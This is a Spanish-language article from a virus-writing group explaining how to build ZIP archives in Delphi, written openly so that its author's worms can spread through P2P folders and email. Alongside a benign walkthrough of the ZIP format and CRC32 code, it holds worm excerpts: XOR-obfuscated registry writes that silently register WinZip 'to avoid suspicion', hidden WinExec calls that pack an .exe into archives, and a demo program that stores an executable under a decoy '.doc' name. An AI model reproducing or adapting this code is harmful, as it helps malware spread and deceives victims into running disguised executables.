#Comprimiendo en Delphi
#Autor: Pana_Infierno [GEDZAC] <pana_infierno[at]gedzac[dot]com>
#Incluye codigos fuente
Mi idea y necesidad surgió después de usar el winrar o el winzip para comprimir mis archivos con los que infecto las carpetas p2p o envió por correo, supongo que en un 90% de los computadores existe una versión de al menos winzip o winrar pero si piensas que para que voy a analizar el formato binario de los archivos zip, si lo puedo hacer con la línea de comando de estos programas… arriba en la esquina superior derecha hay una X presiónala y cierra este articulo porque veo que no te interesa aprender. La motivación es aprender la estructura interna del archivo zip para poder crearlo de forma binaria en delphi y no depender de ningún programa de compresión para crearlo.
Primero expondré el método en delphi que usaba para comprimir un archivo en formato zip bueno es un poco básico pero funciona bien J.
Primero creare un archivo zip con este procedimiento:
procedure NewZip(ruta:string);
const
zip : ARRAY [1..100] OF Byte = ($50, $4B, $03, $04, $0A, $00, $00, $00, $00, $00, $F8, $71, $50, $33, $00, $00,$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $01, $00, $00, $00, $5F, $50,$4B, $01, $02, $14, $00, $0A, $00, $00, $00, $00, $00, $F8, $71, $50, $33, $00,$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $01, $00, $00, $00, $00,$00, $00, $00, $01, $00, $20, $00, $B6, $81, $00, $00, $00, $00, $5F, $50, $4B,$05, $06, $00, $00, $00, $00, $01, $00, $01, $00, $2F, $00, $00, $00, $1F, $00,$00, $00, $00, $00);
var Archivo:file;
X:integer;
begin
FileMode:=2;
{$I-}
AssignFile(Archivo,ruta);
rewrite(Archivo,1);
CloseFile(Archivo);
{$I+}
X := IOResult;
FileMode:=2;
if X <> 0 then exit;
reset(Archivo,1);
BlockWrite(Archivo,zip,100);
closefile(Archivo);
end;
Este procedimiento contiene el mínimo archivo zip que puedo crear pesa 100 bytes contiene un archivo que no es nada solo que no se puede crear un zip sin archivo J.
Una vez creado procedo a agregarle mi archivo usando la línea de comando ya sea con winzip o winrar, en caso de ser winzip tengo que registrarlo para no levantar sospechas.
Procedure registrarWinZip;
begin
//Registrando WinZip
AssignFile(SuperTaldo,PathWindows+e('V]cdPcz$xom',10));
Rewrite(SuperTaldo);
Writeln(SuperTaldo,e('XOMONC^>',10)); Writeln(SuperTaldo,e('QBAOSUI_XXOD^U_YOXVYel~}kxoVDcie*Gka*Iegz~cdmV]cdPczV]cdCdcW',10));
Writeln(SuperTaldo,e('(DKGO(7(MONPKI(',10));
Writeln(SuperTaldo,e('(YD(7(OHH3:>8O(',10)); Writeln(SuperTaldo,e('QBAOSU_YOXYV$NOLK_F^Vyel~}kxoVdcie*gka*iegz~cdmV}cdpczV}cdcdcVDkgoW',10));
Writeln(SuperTaldo,e('(DKGO(7(MONPKI(',10));
Writeln(SuperTaldo,e('(YD(7(OHH3:>8O(',10));
CloseFile(SuperTaldo);
if GetOSVersion=1 then
begin
Accion:=e('Ieggkdn$ieg*%i*xomonc~*%y*%i*',10)+ PathWindows+e('V]cdPcz$xom',10);
end
else
begin
Accion:=e('Ign$oro*%i*xomonc~*%y*%i*',10)+ PathWindows+e('V]cdPcz$xom',10);
end;
Try
WinExec(Pchar(accion),SW_HIDE);
Except
end;
Con este procedimiento registro winzip, para desencriptar los textos les recomiendo que usen la herramienta Easy_XOR_Encrypted que se encuentra en nuestra sección de utilidades en http://www.gedzac.com porque este es un procedimiento que esta incluido en uno de mis worms, bueno ya registrado el winzip puedo usarlo mediante la línea de comando para agregar un archivo dentro del zip que he creado.
Expondré el procedimiento que he creado para infectar los archivo zip ya sea con winrar o winzip.
La línea de comando la pueden encontrar en la Mitosis 2
Acá están los extractos del código que es usado por mi para incluir mi archivo dentro del zip
Para winrar:
accion:='Cmd.exe /c C:\ARCHIV~1\WinRAR\winrar.exe a '+ extractshortpathname(pathwindows+'\'+strin+'.zip') +' '+ extractshortpathname('C:\'+strin+'.exe') ;
WinExec(Pchar(accion),SW_HIDE);
Para winzip:
accion:='Cmd.exe /c C:\ARCHIV~1\WinZip\winzip32.exe -a '+ extractshortpathname(pathwindows+'\'+strin+'.zip') +' '+ extractshortpathname('C:\'+strin+'.exe') ;
WinExec(Pchar(accion),SW_HIDE);
Enseguida esta el nuevo método para comprimir archivos en formato zip, en realidad no se comprime el archivo solo se le agrega la estructura para que sea reconocido como un archivo zip eso significa que nuestro archivo pesara lo mismo mas 100 bytes, este archivo será reconocido por cualquier compresor que pueda abrir zip’s.
Primera parte:
Un archivo zip consta de 4 partes principales usare los nombres gringos porque así lo encontré el documento pero en el code colocare todo en español.
1.Local file header (lo usaremos)
2.File data (lo usaremos)
3.Data_descriptor (no)
4.[Central directory] end of central directory record
Descripción binaria de cada una de las partes del zip
Los bytes entre paréntesis son fijos dentro del zip, nosotros como necesitamos crear
un zip que no cambiara en su totalidad dejaremos otros bytes fijos para crear nuestro
archivo.
A un lado llevara un * con los bites que serán predeterminados.
1. Local file header:
local file header signature-----------4 bytes * 50 4b 03 04 bytes fijos
version needed to extract-------------2 bytes * 0a 00
general purpose bit flag--------------2 bytes * 00 00
compression method--------------------2 bytes * 00 00
last mod file time--------------------2 bytes
last mod file date--------------------2 bytes
crc-32--------------------------------4 bytes
compressed size-----------------------4 bytes
uncompressed size---------------------4 bytes
filename length-----------------------2 bytes
extra field length--------------------2 bytes * 00 00
filename (variable size)
extra field (variable size) (no lo usaremos)
2. File data
este será un valor que variara segun el
peso del archivo que comprimiremos
3. Data descriptor:
crc-32 4 bytes
compressed size 4 bytes
uncompressed size 4 bytes
Esta flecha indica que según el estado de esos bytes será si usaremos o no el Data descriptor, nosotros dejaremos automáticamente este valor en un numero
(00 00) que indicara que no usaremos el data descriptor. Ahora continuemos con el proyecto.
4. Central directory structure:
[file header] . . . end of central dir record
File header:
central file header signatura------4 bytes * 50 4b 01 02
version made by--------------------2 bytes * 14 00
version needed to extract----------2 bytes * 0a 00
general purpose bit flan-----------2 bytes * 00 00
compression method-----------------2 bytes * 00 00
last mod file time-----------------2 bytes
last mod file date-----------------2 bytes
crc-32-----------------------------4 bytes
compressed size--------------------4 bytes
uncompressed size------------------4 bytes
filename length--------------------2 bytes
extra field length-----------------2 bytes
file comment length----------------2 bytes * 00 00
disk number start------------------2 bytes * 00 00
internal file attributes-----------2 bytes
external file attributes-----------4 bytes
relative offset of local header----4 bytes * 00 00 00 00
filename (tamaño variable)
extra field (tamaño variable) (no lo usaremos)
file comment (tamaño variable) (no lo usaremos)
-End of central dir record:
end of central dir signature-------4 bytes * 50 4b 05 06 bytes fijos
number of this disk----------------2 bytes * 00 00
number of the disk with the
start of the central directory-----2 bytes * 00 00
total number of entries in
the central dir on this disk-------2 bytes * 01 00
total number of entries in
the central dir--------------------2 bytes * 01 00
size of the central directory------4 bytes
offset of start of central
directory with respect to
the starting disk number---------- 4 bytes
zipfile comment length-------------2 bytes * 00 00
zipfile comment (variable size) (no lo usaremos)
ahora que conocemos la estructura interna del zip les mostrare el zip mas chico que se pueda crear
50 4B 03 04 0A 00 00 00 00 00 5B B5 54 33 D2 A3
08 78 01 00 00 00 01 00 00 00 01 00 00 00 4E 6E
50 4B 01 02 14 00 0A 00 00 00 00 00 5B B5 54 33
D2 A3 08 78 01 00 00 00 01 00 00 00 01 00 00 00
00 00 00 00 01 00 20 00 B6 81 00 00 00 00 4E 50
4B 05 06 00 00 00 00 01 00 01 00 2F 00 00 00 20
00 00 00 00 00
98 bytes mínimos + los datos variables en este caso con el nombre sube a 101 bytes.
Aca va el codigo…
//******************************** copiar desde aca ***************************************
program zipPana;
uses windows;
//***********************************************************************************
//*************** Programa desarrollado y analizado por Pana_Infierno ***************
//************************** para Mitosis 4 *****************************************
//***********************************************************************************
const
V_Cabeza : array [1..10] of byte = ($50,$4B,$03,$04,$0A,$00,$00,$00,$00,$00);
V_Cuerpo : array [1..12] of byte = ($50,$4B,$01,$02,$14,$00,$0A,$00,$00,$00,$00,$00);
V_Pies : array [1..12] of byte = ($50,$4B,$05,$06,$00,$00,$00,$00,$01,$00,$01,$00);
qUEpaSO : array [1..4] of byte = ($00,$00,$00,$00);
var
CRC32Table : ARRAY[0..255] OF Cardinal;
TYPE
CABEZA_ = record
Hora:word;// 2 bytes;
Fecha:word;// 2 bytes
Crc32:Cardinal;// 4 bytes
tamanocomprimido:cardinal;// 4 bytes
tamanodescomprimido:cardinal;// 4 bytes
LargonombreArchivo:word;// 2 bytes
largoRegistroExtra:Word;// 2 bytes * 00 00
END;
dword = LongWord;
bool = LongBool;
CUERPO_ = RECORD
Hora:word;// 2 bytes;
Fecha:word;// 2 bytes
Crc32:cardinal;// 4 bytes
tamanocomprimido:cardinal;// 4 bytes
tamanodescomprimido:Cardinal;// 4 bytes
LargonombreArchivo:word;// 2 bytes
largoExtraArchivo:word;
largoComentarioArchivo:word;
numeroInicioDisco:word;
comentarioArchivo:word;
ExtAttribLo:word;
ExtAttribHi:word;
END;
PIES_ = RECORD
tamanoCentralDirectorio:cardinal;// 4 bytes
numeroInicioDisco:cardinal;// 4 bytes
comentarioArchivoZip:word;// 2 Bytes
END;
PROCEDURE BuildCRC32Table; ASSEMBLER;
ASM
mov ebx, 0EDB88320h
lea edi, crc32table
xor ecx, ecx
@loc1:
mov eax, ecx
mov edx, 8
@loc2:
test eax, 1
jz @loc3
shr eax, 1
xor eax, ebx
jmp @loc4
@loc3:
shr eax, 1
@loc4:
dec edx
jnz @loc2
stosd
inc ecx
cmp ecx, 256
jb @loc1
END;
FUNCTION CalculateCRC32(Buffer:Pointer;Size:Cardinal) : Cardinal; ASSEMBLER;
ASM
push esi
push edi
push ebx
mov edi,edx
mov esi,eax
xor ebx,ebx
mov eax,$ffffffff
mov ecx,edi
shr ecx,2
jecxz @Rest
@Loop:
mov edx,[esi]
mov bl,al
xor bl,dl
shr eax,8
xor eax,dword ptr [CRC32table+ebx*4]
mov bl,al
xor bl,dh
shr eax,8
xor eax,dword ptr [CRC32table+ebx*4]
shr edx,16
mov bl,al
xor bl,dl
shr eax,8
xor eax,dword ptr [CRC32table+ebx*4]
mov bl,al
xor bl,dh
shr eax,8
xor eax,dword ptr [CRC32table+ebx*4]
add esi,4
loop @Loop
@Rest:
mov ecx,edi
and ecx,3
jecxz @End
@Loop_Rest:
mov bl,al
xor bl,[esi]
shr eax,8
inc esi
xor eax,dword ptr [CRC32table+ebx*4]
loop @Loop_Rest
@End:
xor eax,$ffffffff
pop ebx
pop edi
pop esi
END;
FUNCTION ComputeFileCRC32(FileName:STRING) : Longint;
VAR
InputFile : FILE;
FileSize_ : Integer;
Buffer : AnsiString;
BEGIN
BuildCRC32Table;
Assign(InputFile,FileName);
FileMode:=0;
Reset(InputFile,1);
FileSize_:=FileSize(InputFile);
SetLength(Buffer,FileSize_);
BlockRead(InputFile,Buffer[1],FileSize_);
Result:=CalculateCRC32(@Buffer[1],FileSize_);
Close(InputFile);
END;
//***********************************************************
//******************* FIN FUNCIONES CRC *********************
//***********************************************************
procedure crearZip(NombreArchivoFuera,nombreArchivoDentro,NombreZipFuera:string);
var
CABEZA:CABEZA_;
CUERPO:CUERPO_;
PIES:PIES_;
hora:_FileTime;
horaA:Word;
fechaA:Word;
largoDentro:integer;
buf:AnsiString;
dentro:file;
fuera:file;
large:integer;
begin
large:=Length(nombreArchivoDentro);
GetSystemTimeAsFileTime(hora);
FileTimeToDosDateTime(hora,fechaA,horaA);
AssignFile(dentro,NombreArchivoFuera);
Reset(dentro,1);
largoDentro:=FileSize(dentro);
SetLength(buf,largoDentro+2000);
BlockRead(dentro,buf[1],largoDentro);
CloseFile(dentro);
AssignFile(fuera,NombreZipFuera);
Rewrite(fuera,1);
cabeza.Hora:=horaA;
cabeza.Fecha:=fechaA;
cabeza.Crc32:=ComputeFileCRC32(nombreArchivoFuera);
cabeza.tamanocomprimido:=largoDentro;
cabeza.tamanodescomprimido:=largoDentro;
cabeza.LargonombreArchivo:=large;
cabeza.largoRegistroExtra:=0;
cuerpo.Hora :=horaA;
cuerpo.fecha:=fechaA;
cuerpo.Crc32 :=cabeza.Crc32;
cuerpo.tamanocomprimido:=largoDentro;
cuerpo.tamanodescomprimido:=largoDentro;
cuerpo.LargonombreArchivo:=Large;
cuerpo.largoExtraArchivo :=0;
cuerpo.largoComentarioArchivo :=0;
cuerpo.numeroInicioDisco :=0;
cuerpo.comentarioArchivo :=0;
cuerpo.ExtAttribLo :=$0020;
cuerpo.ExtAttribHi :=$0;
pies.tamanoCentralDirectorio:=46+Length(nombreArchivoDentro);
pies.numeroInicioDisco :=30+length(nombreArchivoDentro)+largoDentro;
pies.comentarioArchivoZip :=0;
BlockWrite(fuera,v_cabeza,SizeOf(v_cabeza));
BlockWrite(fuera,cabeza,SizeOf(cabeza));
BlockWrite(fuera,nombreArchivoDentro[1],Length(nombreArchivoDentro));
BlockWrite(fuera,Buf[1],largoDentro);
BlockWrite(fuera,V_Cuerpo,SizeOf(V_Cuerpo));
BlockWrite(fuera,cuerpo,SizeOf(cuerpo)-2);
BlockWrite(fuera,qUEpaSO,SizeOf(qUEpaSO));
BlockWrite(fuera,nombreArchivoDentro[1],Length(nombreArchivoDentro));
BlockWrite(fuera,V_Pies,SizeOf(V_Pies));
BlockWrite(fuera,pies,SizeOf(pies)-2);
Close(fuera);
end;
Begin
crearZip('c:\miarchivo.exe','este es el nombre del Archivo dentro.doc','c:\nuevo_zip.zip');
end.
//**************************************** Hasta Aca *****************************************
Bueno Amigos espero que el código les sirva, doy libertad para hacer con el lo que quieran con el, esto esta desarrollado con el fin que cada uno le de…
Un saludos a mis compañeros de GEDZAC LABS